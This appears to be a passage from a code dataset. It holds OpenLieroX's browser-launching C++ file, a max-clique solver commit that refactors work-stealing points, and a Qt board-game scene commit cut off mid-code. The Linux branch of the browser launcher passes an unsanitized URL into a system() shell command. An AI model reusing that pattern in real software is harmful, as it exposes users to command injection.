OpenExternBrowser.cpp\n *  OpenLieroX\n *\n *  Created by Albert Zeyer on 29.09.08.\n *  code under LGPL\n *\n *\/\n\n\n#include <string>\n#include <iostream>\n#include <list>\n#include <cstdlib>\n\n#ifdef __APPLE__\n#include <Carbon\/Carbon.h>\n#include <CoreFoundation\/CoreFoundation.h>\n#include <CoreServices\/CoreServices.h>\n#endif\n\n#ifdef WIN32\n#include <windows.h>\n#include <shellapi.h>\n#endif\n\n\n\n\/\/ declared in AuxLib.h; we are not including this to avoid problems with Rect\nvoid OpenLinkInExternBrowser(const std::string& url) {\n\tstd::cout << \"open in extern browser: \" << url << std::endl;\n\n#if defined(__APPLE__)\n\t\/\/ Thanks to Jooleem project (http:\/\/jooleem.sourceforge.net) for the code\n\n\t\/\/ Create a string ref of the URL:\n\tCFStringRef cfurlStr = CFStringCreateWithCString( NULL, url.c_str(), kCFStringEncodingASCII);\n\n\t\/\/ Create a URL object:\n\tCFURLRef cfurl = CFURLCreateWithString (NULL, cfurlStr, NULL);\n\n\t\/\/ Open the URL:\n\tLSOpenCFURLRef(cfurl, NULL);\n\n\t\/\/ Release the created resources:\n\tCFRelease(cfurl);\n\tCFRelease(cfurlStr);\n\n#elif defined(WIN32)\n\tShellExecute(NULL, \"open\", url.c_str(), NULL, NULL, SW_MAXIMIZE);\n\t\n#else\n\tstd::string browser = \"\";\n\t\n\tif (getenv(\"BROWSER\") != NULL) {\n\t\tbrowser = getenv(\"BROWSER\");\n\t}\n\t\n\tif(browser == \"\") {\n\t\t\/\/ test some browsers and take the first found\t\t\n\t\tstd::list<std::string> browsers;\n\t\tbrowsers.push_back(\"gnome-open\");\n\t\tbrowsers.push_back(\"sensible-browser\");\n\t\tbrowsers.push_back(\"firefox\");\n\t\tbrowsers.push_back(\"mozilla-firefox\");\n\t\tbrowsers.push_back(\"konqueror\");\n\t\tbrowsers.push_back(\"mozilla\");\n\t\tbrowsers.push_back(\"opera\");\n\t\tbrowsers.push_back(\"epiphany\");\n\t\tbrowsers.push_back(\"galeon\");\n\t\tbrowsers.push_back(\"netscape\");\n\n\t\tfor (std::list<std::string>::const_iterator it = browsers.begin(); it != browsers.end(); ++it) {\n\t\t\tif (::system((\"test -x \/usr\/bin\/\" + *it + \" -o -x \/usr\/bin\/X11\/\" + *it + \" -o -x \/usr\/local\/bin\/\" + *it).c_str()) == 0) {\n\t\t\t\tbrowser = *it;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\n\tif(browser == \"\") {\n\t\tstd::cout << \"WARNING: no browser found\" << std::endl;\n\t\treturn;\n\t} else\n\t\tstd::cout << \"Using \" << browser << \" as your default browser\" << std::endl;\n\t\n\t::system((browser + \" \" + url + \" &\").c_str());\n\t\n#endif\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* vim: set sw=4 sts=4 et foldmethod=syntax : *\/\n\n#include <max_clique\/dbmcsa_max_clique.hh>\n#include <max_clique\/colourise.hh>\n#include <max_clique\/print_incumbent.hh>\n#include <threads\/atomic_incumbent.hh>\n#include <threads\/queue.hh>\n#include <graph\/degree_sort.hh>\n#include <graph\/min_width_sort.hh>\n\n#include <algorithm>\n#include <list>\n#include <functional>\n#include <vector>\n#include <thread>\n\nusing namespace parasols;\n\nnamespace\n{\n    template <unsigned size_>\n    struct QueueItem\n    {\n        FixedBitSet<size_> c;\n        FixedBitSet<size_> p;\n        unsigned cn;\n        std::vector<int> position;\n    };\n\n    template <unsigned size_>\n    struct StealPoint\n    {\n        std::mutex mutex;\n        std::condition_variable cv;\n        bool ready = false;\n        FixedBitSet<size_> c;\n        FixedBitSet<size_> p;\n        std::vector<int> position;\n        int skip = 0;\n        bool was_stolen = false;\n    };\n\n    template <unsigned size_>\n    auto found_possible_new_best(const FixedBitGraph<size_> & graph, const std::vector<int> & o,\n            const FixedBitSet<size_> & c, int c_popcount,\n            const MaxCliqueParams & params, MaxCliqueResult & result, AtomicIncumbent & best_anywhere,\n            const std::vector<int> & position) -> void\n    {\n        if (best_anywhere.update(c_popcount)) {\n            result.size = c_popcount;\n            result.members.clear();\n            for (int i = 0 ; i < graph.size() ; ++i)\n                if (c.test(i))\n                    result.members.insert(o[i]);\n            print_incumbent(params, result.size, position);\n        }\n    }\n\n    auto bound(unsigned c_popcount, unsigned cn, const MaxCliqueParams & params, AtomicIncumbent & best_anywhere) -> bool\n    {\n        unsigned best_anywhere_value = best_anywhere.get();\n        return (c_popcount + cn <= best_anywhere_value || best_anywhere_value >= params.stop_after_finding);\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto expand(\n            const FixedBitGraph<size_> & graph,\n            const std::vector<int> & o,                      \/\/ vertex ordering\n            Queue<QueueItem<size_> > * const maybe_queue,    \/\/ not null if we're populating: enqueue here\n            bool blocking_enqueue,\n            StealPoint<size_> * const steal_point,\n            FixedBitSet<size_> & c,                          \/\/ current candidate clique\n            FixedBitSet<size_> & p,                          \/\/ potential additions\n            int skip,\n            MaxCliqueResult & result,\n            const MaxCliqueParams & params,\n            AtomicIncumbent & best_anywhere,\n            std::vector<int> & position) -> void\n    {\n        ++result.nodes;\n\n        auto c_popcount = c.popcount();\n\n        \/\/ get our coloured vertices\n        std::array<unsigned, size_ * bits_per_word> p_order, colours;\n        colourise<size_>(graph, p, p_order, colours);\n\n        \/\/ for each v in p... (v comes later)\n        for (int n = p.popcount() - 1 ; n >= 0 ; --n) {\n            ++position.back();\n\n            \/\/ bound, timeout or early exit?\n            if (bound(c_popcount, colours[n], params, best_anywhere) || params.abort.load())\n                return;\n\n            auto v = p_order[n];\n\n            \/\/ consider taking v\n            c.set(v);\n            ++c_popcount;\n\n            if (skip > 0) {\n                --skip;\n            }\n            else {\n                \/\/ export stealable?\n                if (steal_point) {\n                    std::unique_lock<std::mutex> guard(steal_point->mutex);\n                    if (steal_point->was_stolen)\n                        return;\n\n                    if (! steal_point->ready) {\n                        steal_point->c = c;\n                        steal_point->p = p;\n                        steal_point->position = position;\n                        steal_point->skip = 0;\n                        steal_point->was_stolen = false;\n                        steal_point->ready = true;\n                        steal_point->cv.notify_all();\n                    }\n\n                    ++steal_point->skip;\n                }\n\n                \/\/ filter p to contain vertices adjacent to v\n                FixedBitSet<size_> new_p = p;\n                new_p = p;\n                graph.intersect_with_row(v, new_p);\n\n                if (new_p.empty())\n                    found_possible_new_best(graph, o, c, c_popcount, params, result, best_anywhere, position);\n                else\n                {\n                    if (maybe_queue) {\n                        auto new_position = position;\n                        new_position.push_back(0);\n                        if (blocking_enqueue)\n                            maybe_queue->enqueue_blocking(QueueItem<size_>{ c, std::move(new_p), c_popcount + colours[n], std::move(new_position) }, params.n_threads);\n                        else\n                            maybe_queue->enqueue(QueueItem<size_>{ c, std::move(new_p), c_popcount + colours[n], std::move(new_position) });\n                    }\n                    else {\n                        position.push_back(0);\n                        expand<order_, size_>(graph, o, maybe_queue, false,\n                                nullptr, c, new_p, 0, result, params, best_anywhere, position);\n                        position.pop_back();\n                    }\n                }\n            }\n\n            \/\/ now consider not taking v\n            c.unset(v);\n            p.unset(v);\n            --c_popcount;\n        }\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto max_clique(const FixedBitGraph<size_> & graph, const std::vector<int> & o, const MaxCliqueParams & params) -> MaxCliqueResult\n    {\n        Queue<QueueItem<size_> > queue{ params.n_threads, false, false }; \/\/ work queue\n        Queue<QueueItem<size_> > queue_2{ params.n_threads, false, false }; \/\/ work queue, depth 2\n\n        MaxCliqueResult result; \/\/ global result\n        std::mutex result_mutex;\n\n        AtomicIncumbent best_anywhere; \/\/ global incumbent\n        best_anywhere.update(params.initial_bound);\n\n        std::list<std::thread> threads; \/\/ populating thread, and workers\n\n        \/* populate *\/\n        threads.push_back(std::thread([&] {\n                    MaxCliqueResult tr; \/\/ local result\n\n                    FixedBitSet<size_> tc; \/\/ local candidate clique\n                    tc.resize(graph.size());\n\n                    FixedBitSet<size_> tp; \/\/ local potential additions\n                    tp.resize(graph.size());\n                    tp.set_all();\n\n                    std::vector<int> position;\n                    position.reserve(graph.size());\n                    position.push_back(0);\n\n                    \/\/ populate!\n                    expand<order_, size_>(graph, o, &queue, true, nullptr, tc, tp, 0, result, params, best_anywhere, position);\n\n                    \/\/ merge results\n                    queue.initial_producer_done();\n                    std::unique_lock<std::mutex> guard(result_mutex);\n                    result.merge(tr);\n                    }));\n\n        \/* steal points *\/\n        std::vector<StealPoint<size_> > steal_points((params.n_threads));\n\n        \/* workers *\/\n        for (unsigned i = 0 ; i < params.n_threads ; ++i) {\n            threads.push_back(std::thread([&, i] {\n                        auto start_time = std::chrono::steady_clock::now(); \/\/ local start time\n\n                        MaxCliqueResult tr; \/\/ local result\n\n                        auto * current_queue = &queue;\n                        auto * next_queue = &queue_2;\n                        while (true) {\n                            while (true) {\n                                \/\/ clear steal point\n                                {\n                                    std::unique_lock<std::mutex> guard(steal_points[i].mutex);\n                                    steal_points[i].ready = true;\n                                    steal_points[i].p = FixedBitSet<size_>();\n                                    steal_points[i].cv.notify_all();\n                                }\n\n                                \/\/ get some work to do\n                                QueueItem<size_> args;\n                                if (! current_queue->dequeue_blocking(args))\n                                    break;\n\n                                \/\/ re-evaluate the bound against our new best\n                                if (args.cn <= best_anywhere.get())\n                                    continue;\n\n                                \/\/ not ready to be stolen from yet\n                                {\n                                    std::unique_lock<std::mutex> guard(steal_points[i].mutex);\n                                    steal_points[i].ready = false;\n                                }\n\n                                \/\/ do some work\n                                expand<order_, size_>(graph, o, nullptr, false, &steal_points[i],\n                                        args.c, args.p, 0, tr, params, best_anywhere, args.position);\n                            }\n\n                            if (! next_queue)\n                                break;\n\n                            if (next_queue->want_producer()) {\n                                for (auto & s : steal_points) {\n                                    std::unique_lock<std::mutex> guard(s.mutex);\n                                    while (! s.ready)\n                                        s.cv.wait(guard);\n\n                                    s.was_stolen = true;\n                                    auto c = s.c;\n                                    auto p = s.p;\n                                    auto skip = s.skip;\n                                    auto position = s.position;\n                                    guard.unlock();\n\n                                    expand<order_, size_>(graph, o, next_queue, false, nullptr, c, p, skip, tr, params, best_anywhere, position);\n                                }\n\n                                next_queue->initial_producer_done();\n                            }\n\n                            current_queue = next_queue;\n                            next_queue = nullptr;\n                        }\n\n                        auto overall_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - start_time);\n\n                        \/\/ merge results\n                        {\n                            std::unique_lock<std::mutex> guard(result_mutex);\n                            result.merge(tr);\n                            result.times.push_back(overall_time);\n                        }\n                        }));\n        }\n\n        \/\/ wait until they're done, and clean up threads\n        for (auto & t : threads)\n            t.join();\n\n        return result;\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto dbmcsa(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n    {\n        std::vector<int> o(graph.size()); \/\/ vertex ordering\n        std::iota(o.begin(), o.end(), 0);\n\n        switch (order_) {\n            case MaxCliqueOrder::Degree:\n                degree_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::MinWidth:\n                min_width_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::ExDegree:\n                exdegree_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::DynExDegree:\n                dynexdegree_sort(graph, o, false);\n                break;\n        }\n\n        \/\/ re-encode graph as a bit graph\n        FixedBitGraph<size_> bit_graph;\n        bit_graph.resize(graph.size());\n\n        for (int i = 0 ; i < graph.size() ; ++i)\n            for (int j = 0 ; j < graph.size() ; ++j)\n                if (graph.adjacent(o[i], o[j]))\n                    bit_graph.add_edge(i, j);\n\n        \/\/ go!\n        return max_clique<order_>(bit_graph, o, params);\n    }\n}\n\ntemplate <MaxCliqueOrder order_>\nauto parasols::dbmcsa_max_clique(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n{\n    \/* This is pretty horrible: in order to avoid dynamic allocation, select\n     * the appropriate specialisation for our graph's size. *\/\n    static_assert(max_graph_words == 1024, \"Need to update here if max_graph_size is changed.\");\n    if (graph.size() < bits_per_word)\n        return dbmcsa<order_, 1>(graph, params);\n    else if (graph.size() < 2 * bits_per_word)\n        return dbmcsa<order_, 2>(graph, params);\n    else if (graph.size() < 4 * bits_per_word)\n        return dbmcsa<order_, 4>(graph, params);\n    else if (graph.size() < 8 * bits_per_word)\n        return dbmcsa<order_, 8>(graph, params);\n    else if (graph.size() < 16 * bits_per_word)\n        return dbmcsa<order_, 16>(graph, params);\n    else if (graph.size() < 32 * bits_per_word)\n        return dbmcsa<order_, 32>(graph, params);\n    else if (graph.size() < 64 * bits_per_word)\n        return dbmcsa<order_, 64>(graph, params);\n    else if (graph.size() < 128 * bits_per_word)\n        return dbmcsa<order_, 128>(graph, params);\n    else if (graph.size() < 256 * bits_per_word)\n        return dbmcsa<order_, 256>(graph, params);\n    else if (graph.size() < 512 * bits_per_word)\n        return dbmcsa<order_, 512>(graph, params);\n    else if (graph.size() < 1024 * bits_per_word)\n        return dbmcsa<order_, 1024>(graph, params);\n    else\n        throw GraphTooBig();\n}\n\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::Degree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::MinWidth>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::ExDegree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::DynExDegree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\n\n<commit_msg>Cleaner steal points<commit_after>\/* vim: set sw=4 sts=4 et foldmethod=syntax : *\/\n\n#include <max_clique\/dbmcsa_max_clique.hh>\n#include <max_clique\/colourise.hh>\n#include <max_clique\/print_incumbent.hh>\n#include <threads\/atomic_incumbent.hh>\n#include <threads\/queue.hh>\n#include <graph\/degree_sort.hh>\n#include <graph\/min_width_sort.hh>\n\n#include <algorithm>\n#include <list>\n#include <functional>\n#include <vector>\n#include <thread>\n\nusing namespace parasols;\n\nnamespace\n{\n    template <unsigned size_>\n    struct QueueItem\n    {\n        FixedBitSet<size_> c;\n        FixedBitSet<size_> p;\n        unsigned cn;\n        std::vector<int> position;\n    };\n\n    template <unsigned size_>\n    struct StealPoint\n    {\n        std::mutex mutex;\n        std::condition_variable cv;\n        bool ready = false;\n        FixedBitSet<size_> c;\n        FixedBitSet<size_> p;\n        std::vector<int> position;\n        int skip = 0;\n        bool was_stolen = false;\n\n        void not_ready()\n        {\n            std::unique_lock<std::mutex> guard(mutex);\n            ready = false;\n            was_stolen = false;\n            skip = 0;\n        }\n\n        void finished()\n        {\n            std::unique_lock<std::mutex> guard(mutex);\n            ready = true;\n            was_stolen = false;\n            skip = 0;\n            p = FixedBitSet<size_>();\n            cv.notify_all();\n        }\n    };\n\n    template <unsigned size_>\n    auto found_possible_new_best(const FixedBitGraph<size_> & graph, const std::vector<int> & o,\n            const FixedBitSet<size_> & c, int c_popcount,\n            const MaxCliqueParams & params, MaxCliqueResult & result, AtomicIncumbent & best_anywhere,\n            const std::vector<int> & position) -> void\n    {\n        if (best_anywhere.update(c_popcount)) {\n            result.size = c_popcount;\n            result.members.clear();\n            for (int i = 0 ; i < graph.size() ; ++i)\n                if (c.test(i))\n                    result.members.insert(o[i]);\n            print_incumbent(params, result.size, position);\n        }\n    }\n\n    auto bound(unsigned c_popcount, unsigned cn, const MaxCliqueParams & params, AtomicIncumbent & best_anywhere) -> bool\n    {\n        unsigned best_anywhere_value = best_anywhere.get();\n        return (c_popcount + cn <= best_anywhere_value || best_anywhere_value >= params.stop_after_finding);\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto expand(\n            const FixedBitGraph<size_> & graph,\n            const std::vector<int> & o,                      \/\/ vertex ordering\n            Queue<QueueItem<size_> > * const maybe_queue,    \/\/ not null if we're populating: enqueue here\n            bool blocking_enqueue,\n            StealPoint<size_> * const steal_point,\n            FixedBitSet<size_> & c,                          \/\/ current candidate clique\n            FixedBitSet<size_> & p,                          \/\/ potential additions\n            int skip,\n            MaxCliqueResult & result,\n            const MaxCliqueParams & params,\n            AtomicIncumbent & best_anywhere,\n            std::vector<int> & position) -> void\n    {\n        ++result.nodes;\n\n        auto c_popcount = c.popcount();\n\n        \/\/ get our coloured vertices\n        std::array<unsigned, size_ * bits_per_word> p_order, colours;\n        colourise<size_>(graph, p, p_order, colours);\n\n        \/\/ for each v in p... (v comes later)\n        for (int n = p.popcount() - 1 ; n >= 0 ; --n) {\n            ++position.back();\n\n            \/\/ bound, timeout or early exit?\n            if (bound(c_popcount, colours[n], params, best_anywhere) || params.abort.load())\n                return;\n\n            auto v = p_order[n];\n\n            \/\/ consider taking v\n            c.set(v);\n            ++c_popcount;\n\n            if (skip > 0) {\n                --skip;\n            }\n            else {\n                \/\/ export stealable?\n                if (steal_point) {\n                    std::unique_lock<std::mutex> guard(steal_point->mutex);\n                    if (steal_point->was_stolen)\n                        return;\n\n                    if (! steal_point->ready) {\n                        steal_point->c = c;\n                        steal_point->p = p;\n                        steal_point->position = position;\n                        steal_point->skip = 0;\n                        steal_point->was_stolen = false;\n                        steal_point->ready = true;\n                        steal_point->cv.notify_all();\n                    }\n\n                    ++steal_point->skip;\n                }\n\n                \/\/ filter p to contain vertices adjacent to v\n                FixedBitSet<size_> new_p = p;\n                new_p = p;\n                graph.intersect_with_row(v, new_p);\n\n                if (new_p.empty())\n                    found_possible_new_best(graph, o, c, c_popcount, params, result, best_anywhere, position);\n                else\n                {\n                    if (maybe_queue) {\n                        auto new_position = position;\n                        new_position.push_back(0);\n                        if (blocking_enqueue)\n                            maybe_queue->enqueue_blocking(QueueItem<size_>{ c, std::move(new_p), c_popcount + colours[n], std::move(new_position) }, params.n_threads);\n                        else\n                            maybe_queue->enqueue(QueueItem<size_>{ c, std::move(new_p), c_popcount + colours[n], std::move(new_position) });\n                    }\n                    else {\n                        position.push_back(0);\n                        expand<order_, size_>(graph, o, maybe_queue, false,\n                                nullptr, c, new_p, 0, result, params, best_anywhere, position);\n                        position.pop_back();\n                    }\n                }\n            }\n\n            \/\/ now consider not taking v\n            c.unset(v);\n            p.unset(v);\n            --c_popcount;\n        }\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto max_clique(const FixedBitGraph<size_> & graph, const std::vector<int> & o, const MaxCliqueParams & params) -> MaxCliqueResult\n    {\n        Queue<QueueItem<size_> > queue{ params.n_threads, false, false }; \/\/ work queue\n        Queue<QueueItem<size_> > queue_2{ params.n_threads, false, false }; \/\/ work queue, depth 2\n\n        MaxCliqueResult result; \/\/ global result\n        std::mutex result_mutex;\n\n        AtomicIncumbent best_anywhere; \/\/ global incumbent\n        best_anywhere.update(params.initial_bound);\n\n        std::list<std::thread> threads; \/\/ populating thread, and workers\n\n        \/* populate *\/\n        threads.push_back(std::thread([&] {\n                    MaxCliqueResult tr; \/\/ local result\n\n                    FixedBitSet<size_> tc; \/\/ local candidate clique\n                    tc.resize(graph.size());\n\n                    FixedBitSet<size_> tp; \/\/ local potential additions\n                    tp.resize(graph.size());\n                    tp.set_all();\n\n                    std::vector<int> position;\n                    position.reserve(graph.size());\n                    position.push_back(0);\n\n                    \/\/ populate!\n                    expand<order_, size_>(graph, o, &queue, true, nullptr, tc, tp, 0, result, params, best_anywhere, position);\n\n                    \/\/ merge results\n                    queue.initial_producer_done();\n                    std::unique_lock<std::mutex> guard(result_mutex);\n                    result.merge(tr);\n                    }));\n\n        \/* steal points *\/\n        std::vector<StealPoint<size_> > steal_points((params.n_threads));\n\n        \/* workers *\/\n        for (unsigned i = 0 ; i < params.n_threads ; ++i) {\n            threads.push_back(std::thread([&, i] {\n                        auto start_time = std::chrono::steady_clock::now(); \/\/ local start time\n\n                        MaxCliqueResult tr; \/\/ local result\n\n                        auto * current_queue = &queue;\n                        auto * next_queue = &queue_2;\n                        while (true) {\n                            while (true) {\n                                \/\/ get some work to do\n                                QueueItem<size_> args;\n                                if (! current_queue->dequeue_blocking(args))\n                                    break;\n\n                                \/\/ re-evaluate the bound against our new best\n                                if (args.cn <= best_anywhere.get())\n                                    continue;\n\n                                steal_points[i].not_ready();\n\n                                \/\/ do some work\n                                expand<order_, size_>(graph, o, nullptr, false, &steal_points[i],\n                                        args.c, args.p, 0, tr, params, best_anywhere, args.position);\n\n                                steal_points[i].not_ready();\n                            }\n\n                            steal_points[i].finished();\n\n                            if (! next_queue)\n                                break;\n\n                            if (next_queue->want_producer()) {\n                                for (auto & s : steal_points) {\n                                    std::unique_lock<std::mutex> guard(s.mutex);\n                                    while (! s.ready)\n                                        s.cv.wait(guard);\n\n                                    s.was_stolen = true;\n                                    auto c = s.c;\n                                    auto p = s.p;\n                                    auto skip = s.skip;\n                                    auto position = s.position;\n                                    guard.unlock();\n\n                                    expand<order_, size_>(graph, o, next_queue, false, nullptr, c, p, skip, tr, params, best_anywhere, position);\n                                }\n\n                                next_queue->initial_producer_done();\n                            }\n\n                            current_queue = next_queue;\n                            next_queue = nullptr;\n                        }\n\n                        auto overall_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - start_time);\n\n                        \/\/ merge results\n                        {\n                            std::unique_lock<std::mutex> guard(result_mutex);\n                            result.merge(tr);\n                            result.times.push_back(overall_time);\n                        }\n                        }));\n        }\n\n        \/\/ wait until they're done, and clean up threads\n        for (auto & t : threads)\n            t.join();\n\n        return result;\n    }\n\n    template <MaxCliqueOrder order_, unsigned size_>\n    auto dbmcsa(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n    {\n        std::vector<int> o(graph.size()); \/\/ vertex ordering\n        std::iota(o.begin(), o.end(), 0);\n\n        switch (order_) {\n            case MaxCliqueOrder::Degree:\n                degree_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::MinWidth:\n                min_width_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::ExDegree:\n                exdegree_sort(graph, o, false);\n                break;\n            case MaxCliqueOrder::DynExDegree:\n                dynexdegree_sort(graph, o, false);\n                break;\n        }\n\n        \/\/ re-encode graph as a bit graph\n        FixedBitGraph<size_> bit_graph;\n        bit_graph.resize(graph.size());\n\n        for (int i = 0 ; i < graph.size() ; ++i)\n            for (int j = 0 ; j < graph.size() ; ++j)\n                if (graph.adjacent(o[i], o[j]))\n                    bit_graph.add_edge(i, j);\n\n        \/\/ go!\n        return max_clique<order_>(bit_graph, o, params);\n    }\n}\n\ntemplate <MaxCliqueOrder order_>\nauto parasols::dbmcsa_max_clique(const Graph & graph, const MaxCliqueParams & params) -> MaxCliqueResult\n{\n    \/* This is pretty horrible: in order to avoid dynamic allocation, select\n     * the appropriate specialisation for our graph's size. *\/\n    static_assert(max_graph_words == 1024, \"Need to update here if max_graph_size is changed.\");\n    if (graph.size() < bits_per_word)\n        return dbmcsa<order_, 1>(graph, params);\n    else if (graph.size() < 2 * bits_per_word)\n        return dbmcsa<order_, 2>(graph, params);\n    else if (graph.size() < 4 * bits_per_word)\n        return dbmcsa<order_, 4>(graph, params);\n    else if (graph.size() < 8 * bits_per_word)\n        return dbmcsa<order_, 8>(graph, params);\n    else if (graph.size() < 16 * bits_per_word)\n        return dbmcsa<order_, 16>(graph, params);\n    else if (graph.size() < 32 * bits_per_word)\n        return dbmcsa<order_, 32>(graph, params);\n    else if (graph.size() < 64 * bits_per_word)\n        return dbmcsa<order_, 64>(graph, params);\n    else if (graph.size() < 128 * bits_per_word)\n        return dbmcsa<order_, 128>(graph, params);\n    else if (graph.size() < 256 * bits_per_word)\n        return dbmcsa<order_, 256>(graph, params);\n    else if (graph.size() < 512 * bits_per_word)\n        return dbmcsa<order_, 512>(graph, params);\n    else if (graph.size() < 1024 * bits_per_word)\n        return dbmcsa<order_, 1024>(graph, params);\n    else\n        throw GraphTooBig();\n}\n\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::Degree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::MinWidth>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::ExDegree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\ntemplate auto parasols::dbmcsa_max_clique<MaxCliqueOrder::DynExDegree>(const Graph &, const MaxCliqueParams &) -> MaxCliqueResult;\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"ingamescene.h\"\n#include <QPixmap>\n#include <QtGlobal>\n#include \"..\/dice.h\"\n#include <QTimeLine>\n#include <QEasingCurve>\n#include \"block.h\"\n\n\nIngameScene::IngameScene(qreal x, qreal y,\n                         qreal width, qreal height,\n                         QObject *parent)\n    : QGraphicsScene(x,y,width,height,parent), window(dynamic_cast<MainWindow*>(parent))\n{\n    Q_CHECK_PTR(window);\n\n    setBackgroundPixmap(\":\/images\/ingame\/background_test.jpg\");\n\n    board = new Board(this,window);\n    board->setPos(200,10);\n\n    player = new Player(board,1);\n    player->setImage(\":\/images\/ingame\/pieces\/blue.png\");\n    player->setPos(BlockCoords::corner_coord[0]);\n    player->setZValue(3);\n\n    \/\/주사위 그래픽\n    dice_graphic = new DiceGraphicItem(this,window);\n    dice_graphic->setPos(800,400);\n    dice_graphic->setZValue(2);\n\n    \/\/주사위 패널 첫번째\n    first_dice_panel = new DiceValuePanel(this,window);\n    first_dice_panel->setPos(400,400);\n    first_dice_panel->setZValue(2);\n    \/\/주사위 패널 두번째\n    second_dice_panel = new DiceValuePanel(this,window);\n    second_dice_panel->setPos(500,400);\n    second_dice_panel->setZValue(2);\n\n    \/\/Signal \/ Slots connection\n    Dice * dice = Dice::getInst();\n    connect(dice,SIGNAL(diceRolled(int)),player,SLOT(walkBy(int)));\n    connect(dice,SIGNAL(firstDiceRolled(int)),first_dice_panel,SLOT(setValue(int)));\n    connect(dice,SIGNAL(secondDiceRolled(int)),second_dice_panel,SLOT(setValue(int)));\n}\n\nIngameScene::~IngameScene(){\n    delete first_dice_panel;\n    delete second_dice_panel;\n    delete dice_graphic;\n    delete background;\n}\n\nQGraphicsPixmapItem* IngameScene::setBackgroundPixmap(const char * filename){\n    background = this->addPixmap(QPixmap(filename));\n    return background;\n}\n\nQGraphicsPixmapItem* IngameScene::backgroundPixmap(){\n    return background;\n}\n\nDiceGraphicItem::DiceGraphicItem(QGraphicsScene *scene, MainWindow *window)\n    : QGameItem(scene,window){\n    \/\/버튼 초기상태 이미지\n    this->setImage(\":\/images\/ingame\/button.png\");\n}\n\n\nvoid DiceGraphicItem::mousePressEvent(QGraphicsSceneMouseEvent *event){\n    \/\/버튼이 눌렸을 때의 이미지로 바꿈\n    this->setImage(\":\/images\/ingame\/button2_pushed.png\");\n    \/\/QGameItem::mousePressEvent(event);\n\n}\n\nvoid DiceGraphicItem::mouseReleaseEvent(QGraphicsSceneMouseEvent *event){\n    \/\/마우스에서 땠을 경우 다시 초기상태 이미지로 바꿈\n    this->setImage(\":\/images\/ingame\/button.png\");\n    \/\/여기에 게임 스테이트 머신을 추가해서 롤할지 안할지 결정하게 해야함\n    Dice * dice = Dice::getInst();\n    dice->roll();\n\n}\n\nDiceValuePanel::DiceValuePanel(QGraphicsScene *scene, MainWindow *window)\n    : QGameItem(scene,window)\n{\n    setImage(\":\/images\/ingame\/dice\/dice3.png\"); \/\/default image\n    timeline = new QTimeLine(1500); \/\/spin for 1.5 second\n    timeline->setFrameRange(0,50); \/\/ 50 spins\n    timeline->setEasingCurve(QEasingCurve::InOutCirc);\n    connect(this->timeline,SIGNAL(frameChanged(int)),this,SLOT(spinValue(int)));\n    connect(timeline,SIGNAL(finished()),this,SLOT(endSpin()));\n}\n\nvoid DiceValuePanel::endSpin(){\n    \/\/finally fix dice image to diceValue\n    switch(diceValue){\n    case 1:\n        this->setImage(\":\/images\/ingame\/dice\/dice1.png\");\n        break;\n    case 2:\n        this->setImage(\":\/images\/ingame\/dice\/dice2.png\");\n        break;\n    case 3:\n        this->setImage(\":\/images\/ingame\/dice\/dice3.png\");\n        break;\n    case 4:\n        this->setImage(\":\/images\/ingame\/dice\/dice4.png\");\n        break;\n    case 5:\n        this->setImage(\":\/images\/ingame\/dice\/dice5.png\");\n        break;\n    case 6:\n        this->setImage(\":\/images\/ingame\/dice\/dice6.png\");\n        break;\n    }\n}\n\nvoid DiceValuePanel::setValue(int value){\n    diceValue = value;\n    timeline->start();\n}\n\nvoid DiceValuePanel::spinValue(int frame){\n    int value = rand() % 6 + 1;\n    switch(value){\n    case 1:\n        this->setImage(\":\/images\/ingame\/dice\/dice1.png\");\n        break;\n    case 2:\n        this->setImage(\":\/images\/ingame\/dice\/dice2.png\");\n        break;\n    case 3:\n        this->setImage(\":\/images\/ingame\/dice\/dice3.png\");\n        break;\n    case 4:\n        this->setImage(\":\/images\/ingame\/dice\/dice4.png\");\n        break;\n    case 5:\n        this->setImage(\":\/images\/ingame\/dice\/dice5.png\");\n        break;\n    case 6:\n        this->setImage(\":\/images\/ingame\/dice\/dice6.png\");\n        break;\n    }\n}\n\nvoid DiceValuePanel::mousePressEvent(QGraphicsSceneMouseEvent *event){\n\n}\n\nvoid DiceValuePanel::mouseReleaseEvent(QGraphicsSceneMouseEvent *event){\n\n}\n<commit_msg>Ingamescene: managed by localgame instance<commit_after>#include \"ingamescene.h\"\n#include <QPixmap>\n#include <QtGlobal>\n#include \"..\/dice.h\"\n#include <QTimeLine>\n#include <QEasingCurve>\n#include \"block.h\"\n#include \"localgame.h\"\n\n\nIngameScene::IngameScene(qreal x, qreal y,\n                         qreal width, qreal height,\n                         QObject *parent)\n    : 